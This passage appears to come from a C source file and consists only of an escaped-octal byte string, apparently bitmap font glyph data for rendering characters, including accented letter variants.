\"\\377\\377\\377\\0\\0\\0\\0\\7\\7\\7\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\70pppp\"\n  \"\\70\\34\\177\\177\\177pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\360\\370\\70\\34\\14\\374\\374\\14\\14\\14\\374\\374\\14\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\"\n  \"\\37\\70\\60\\60\\377\\377\\0\\0\\0\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\377\\377\\0\\0\"\n  \"\\200\\377\\377\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\0\\0\\3\\3\\3\\3\\3\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\60xxx\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\34\\35\\37\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\60\\30\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\300\\300\\300\\377\\377\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340p\\60\\30\\30\\30\\60p\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\207\\217\\234\\230\\260\\260\\260\\230\\234\\217\\207\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\16\"\n  \"\\34\\70p\\340\\300\\206\\16\\34\\70p\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0`p\\70\\34\\16\\7\\3ap\\70\"\n  \"\\34\\16\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\60\\60\\30\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340@\\0\\0\\0\\0\\0\\0```\\177\"\n  \"\\177```\\0\\300\\340x\\34\\216\\343\\61\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\34\\16\\7\\1\\0\\14\"\n  \"\\17\\17\\15l\\177\\177l\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\60\\60\\30\\370\\370\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340@\\0\\0\\0\\0\\0\\0\\0\\0```\\177\"\n  \"\\177``\\300\\340x<\\316\\347q\\60\\60p\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\16\\7\\3\\0\\0\\0p\"\n  \"x|lfgsq\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\30\\34\\214\\214\\214\\374x\\0\\0\\0\\0\\0\\200\\300\\340@\\0\\0\\0\\0\\0\\0\\0\\30\\70\\60a\"\n  \"aa;\\77\\216\\340p<\\16\\207\\343\\60\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\16\\7\\3\\1\\0\\14\"\n  \"\\17\\17ml\\177\\177l\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\6\\217\\217\\217\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370<\\34\\37\\17\\17\\0\"\n  \"\\0\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\36\\34\\34\\34\\34\\34\\34\\37\\17\\17\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\370\\371\\371{\\373\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\360\\376\\377\\217\\203\\200\\203\\217\\377\\376\\360\\200\\0\\0\\0\\0\\0\\0\\0ppp~\\177\\177sss\\3\\3\\3\"\n  \"sss\\177\\177~ppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\370\\370\\373{\\371\\361\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\360\\376\\377\\217\\203\\200\\203\\217\\377\\376\\360\\200\\0\\0\\0\\0\\0\\0\\0ppp~\\177\\177sss\\3\\3\\3\"\n  \"sss\\177\\177~ppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\70:;;\\371\\370\\370x\\371\\363\\303\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\360\\376\\377\\217\\203\\200\\203\\217\\377\\376\\360\\200\\0\\0\\0\\0\\0\\0\\0ppp~\\177\\177sss\\3\\3\\3\"\n  \"sss\\177\\177~ppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\70\\70;;\\370\\370\\371y\\373\\362\\303\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\360\\376\\377\\217\\203\\200\\203\\217\\377\\376\\360\\200\\0\\0\\0\\0\\0\\0\\0ppp~\\177\\177sss\\3\\3\\3\"\n  \"sss\\177\\177~ppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\71;;\\71\\370\\370\\370y\\373\\363\\301\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\360\\376\\377\\217\\203\\200\\203\\217\\377\\376\\360\\200\\0\\0\\0\\0\\0\\0\\0ppp~\\177\\177sss\\3\\3\\3\"\n  \"sss\\177\\177~ppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\371\\373\\372z\\373\\361\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\360\\376\\377\\217\\203\\200\\203\\217\\377\\376\\360\\200\\0\\0\\0\\0\\0\\0\\0ppp~\\177\\177sss\\3\\3\\3\"\n  \"sss\\177\\177~ppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\70\\70\\370\\370\\370\\70\\370\\370\\370\\70\\70\\70\\70\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\340\"\n  \"\\376\\377\\237\\200\\200\\377\\377\\377\\60\\60\\374\\374\\3\\3\\3\\0\\0\\0\\0\\0pp~\\177\\177qqqq\\177\\177\\177\"\n  \"ppqqp~~~\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360px\\70\\70\\70\\70p\\360\\360\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\376\\377\\377\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\37<\\70xp\\360\\360p\"\n  \"px\\70<\\36\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\30\\30\\33\\37\\36\\14\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70\\70\\370\\370\\370\\70\\70\\71\\71;;\\70\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\70\\70\\70\\376\\376\\376\\0\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0ppp\\177\\177\\177ppppp\"\n  \"ppp\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70\\70\\370\\370\\370\\70;;\\71\\71\\70\\70\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\70\\70\\70\\376\\376\\376\\0\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0ppp\\177\\177\\177ppppp\"\n  \"ppp\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70\\70\\372\\373\\373\\71\\70\\70\\70\\71;;\\372\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\70\\70\\70\\376\\376\\376\\0\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0ppp\\177\\177\\177ppppp\"\n  \"ppp\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70\\70\\370\\371\\373;\\71\\70\\70\\70\\71;\\373\\371\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\70\\70\\70\\376\\376\\376\\0\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0ppp\\177\\177\\177ppppp\"\n  \"ppp\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\371\\371\\373;\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0ppppp\\177\\177\\177p\"\n  \"pppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\373\\373\\371\\71\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0ppppp\\177\\177\\177p\"\n  \"pppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\70:;;\\71\\370\\370\\370\\71;;:\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0ppppp\\177\\177\\177p\"\n  \"pppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\70\\71;;\\71\\370\\370\\370\\71;;\\71\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0ppppp\\177\\177\\177p\"\n  \"pppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\70\\70\\370\\370\\370\\70\\70\\70\\70\\70xp\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\"\n  \"\\377\\377\\377\\70\\70\\70\\70\\0\\0\\0\\0\\3\\377\\377\\374\\0\\0\\0\\0\\0\\0\\0pp\\177\\177\\177ppppp\"\n  \"px\\70>\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\70\\70\\70\\370\\370\\373\\363\\340\\200\\1\\1;:;\\71\\370\\370\\370\\70\\70\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377\\1\\7\\37>\\374\\360\\340\\200\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0pp\\177\\177\\177pppp\\0\\1\"\n  \"\\7\\37>\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360x\\70\\71\\71;;x\\360\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\374\\377\\377\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\377\\377\\374\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37>\\70xpppx\"\n  \"\\70<\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360x;;\\71\\71\\70x\\360\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\374\\377\\377\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\377\\377\\374\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37>\\70xpppx\"\n  \"\\70<\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\342\\363{\\71\\70\\70\\70\\71{\\363\\362\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\374\\377\\377\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\377\\377\\374\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37>\\70xpppx\"\n  \"\\70<\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\363{\\70\\70\\71\\71;z\\363\\361\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\374\\377\\377\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\377\\377\\374\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37>\\70xpppx\"\n  \"\\70<\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\341\\363{\\71\\70\\70\\70\\71{\\363\\361\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\374\\377\\377\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\377\\377\\374\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37>\\70xpppx\"\n  \"\\70<\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\"\n  \"\\17\\37>\\370\\360\\340\\360\\370>\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0px|>\\37\\7\\3\\1\\3\\7\"\n  \"\\37>|xp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360px\\70\\70\\70x\\360\\360\\360\\374<\\34\\0\\0\\0\\0\\0\\0\\0\\374\\377\\377\"\n  \"\\3\\1\\200\\300\\360\\370~\\37\\17\\7\\3\\377\\377\\374\\0\\0\\0\\0\\0\\0\\0\\301\\367\\377\\177\\77\\177wqppp\"\n  \"x<\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\70\\70\\370\\370\\370\\70\\70\\70\\1\\1\\3;\\70\\70\\370\\370\\370\\70\\70\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37<\\70xpppx\"\n  \"x<\\37\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\70\\70\\370\\370\\370\\70\\70;\\3\\1\\1\\70\\70\\70\\370\\370\\370\\70\\70\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37<\\70xpppx\"\n  \"x<\\37\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\70\\70\\370\\370\\372;;\\71\\0\\0\\0\\71;;\\372\\370\\370\\70\\70\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37<\\70xpppx\"\n  \"x<\\37\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\70\\70\\370\\370\\370\\71\\71\\70\\70\\0\\70\\70\\71\\71\\370\\370\\370\\70\\70\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37<\\70xpppx\"\n  \"x<\\37\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70x\\370\\370\\370;\\3\\1\\1\\70\\370\\370\\370x\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\7\\17\\77\\374\\370\\374\\77\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0pppp\\177\\177\\177p\"\n  \"ppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70\\70\\370\\370\\370\\270\\270\\270\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\3\\3\\3\\3\\3\\3\\207\\207\\377\\376\\374\\60\\0\\0\\0\\0\\0\\0ppp\\177\\177\\177www\\7\\7\"\n  \"\\7\\7\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370<\\34\\34\\34<\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377\\0\\34\\34\\34\\36\\77\\177\\363\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0ppp\\177\\177\\177p\\34<|p\\360\"\n  \"\\360p\\177\\77\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\4\\6\\16\\34\\30\\70\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\216\\216\\317\\307\\307\\307\\307\\307\\317\\376\\374\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\77\\177wsqqqq\\71\"\n  \"\\71\\177\\177\\177ppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`p\\60\\70\\34\\16\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\216\\216\\317\\307\\307\\307\\307\\307\\317\\376\\374\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\77\\177ssqqqq\\71\"\n  \"\\35\\177\\177\\177ppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0 \\60\\70\\30\\14\\6\\14\\30\\70\\60 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\216\"\n  \"\\216\\316\\317\\307\\307\\307\\307\\317\\376\\374\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\77\\177wsqqqq\\61\\71\"\n  \"\\177\\177\\177ppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\70<\\14\\14\\30\\30\\60\\60<\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\216\"\n  \"\\216\\317\\307\\307\\307\\307\\307\\317\\376\\374\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\77\\177wsqqqq\\71\\31\"\n  \"\\177\\177\\177ppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\\0\\30<<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\216\\216\\317\\307\\307\\307\\307\\307\\317\\376\\374\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\77\\177wsqqqq\\71\"\n  \"\\31\\177\\177\\177ppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70lDDl\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\216\"\n  \"\\216\\317\\307\\307\\307\\307\\307\\317\\376\\374\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\77\\177wsqqqq\\71\\31\"\n  \"\\177\\177\\177ppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\216\\316\"\n  \"\\317\\307\\347\\347\\357\\376\\376\\376\\316\\317\\307\\317\\316\\376\\370\\360\\0\\0\\0\\0\\17\\37\\77{qqqy\\71\\77\\177\\77\"\n  \"=qqqq\\71\\71\\71\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\"\n  \"\\374>\\16\\17\\7\\7\\7\\7\\17\\16~\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\37<\\70xp\\360\\360p\"\n  \"pp\\70<\\34\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\10\\30\\33\\37\\16\\4\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\14\\34\\70\\60p`\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\"\n  \"\\376\\316\\317\\307\\307\\307\\307\\317\\316\\376\\374\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37=\\71yqqqqq\"\n  \"q\\71\\71\\71\\31\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`p\\60\\70\\34\\16\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\"\n  